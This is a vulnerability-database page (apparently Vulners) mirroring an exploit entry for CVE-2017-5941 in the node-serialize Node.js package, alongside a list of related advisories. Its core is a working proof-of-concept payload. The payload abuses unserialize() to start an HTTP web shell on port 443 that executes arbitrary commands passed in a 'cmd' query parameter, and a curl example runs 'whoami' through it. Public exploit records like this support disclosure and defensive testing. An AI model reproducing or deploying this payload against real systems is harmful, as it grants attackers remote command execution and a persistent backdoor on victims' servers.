Lucene search
K

Node.JS - (node-serialize) Remote Code Execution Exploit (3)

🗓️ 18 Jun 2021 00:00:00Reported by Beren Kuday GÖRÜNType 
zdt
 zdt
🔗 0day.today👁 388 Views

Node.JS node-serialize Remote Code Execution Exploit CVE 2017-594

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2017-5941
12 Oct 202515:00
circl
CNVD
Node-serialize Package For Node.js 'unserialize()' Function Arbitrary Code Execution Vulnerability
13 Feb 201700:00
cnvd
Check Point Advisories
Node.js Remote Code Execution (CVE-2017-5941)
24 Feb 202100:00
checkpoint_advisories
CVE
CVE-2017-5941
9 Feb 201719:00
cve
Cvelist
CVE-2017-5941
9 Feb 201719:00
cvelist
Exploit DB
Node.JS - 'node-serialize' Remote Code Execution (2)
10 Feb 202100:00
exploitdb
Github Security Blog
Code Execution through IIFE in node-serialize
18 Jul 201818:27
github
Node.js
Code Execution through IIFE
9 Feb 201716:30
nodejs
NVD
CVE-2017-5941
9 Feb 201719:59
nvd
OSV
CVE-2017-5941
9 Feb 201719:59
osv
Rows per page
# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (3)
# Exploit Author: Beren Kuday GORUN
# Vendor Homepage: https://github.com/luin/serialize
# Software Link: https://github.com/luin/serialize
# Version: 0.0.4
# Tested on: Windows & Ubuntu
# CVE : 2017-5941

var serialize = require('node-serialize');
var payload = {
    "webShell" : "_$$ND_FUNC$$_function(){const http = require('http'); const url = require('url'); const ps  = require('child_process'); http.createServer(function (req, res) { var queryObject = url.parse(req.url,true).query; var cmd = queryObject['cmd']; try { ps.exec(cmd, function(error, stdout, stderr) { res.end(stdout); }); } catch (error) { return; }}).listen(443); }()"
    }
serialize.unserialize(serialize.serialize(payload))

/*
# after being exploited

┌──([email protected])-[/home/kali]
└─# curl http://10.0.2.4:443?cmd=whoami
nodeadmin

*/

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation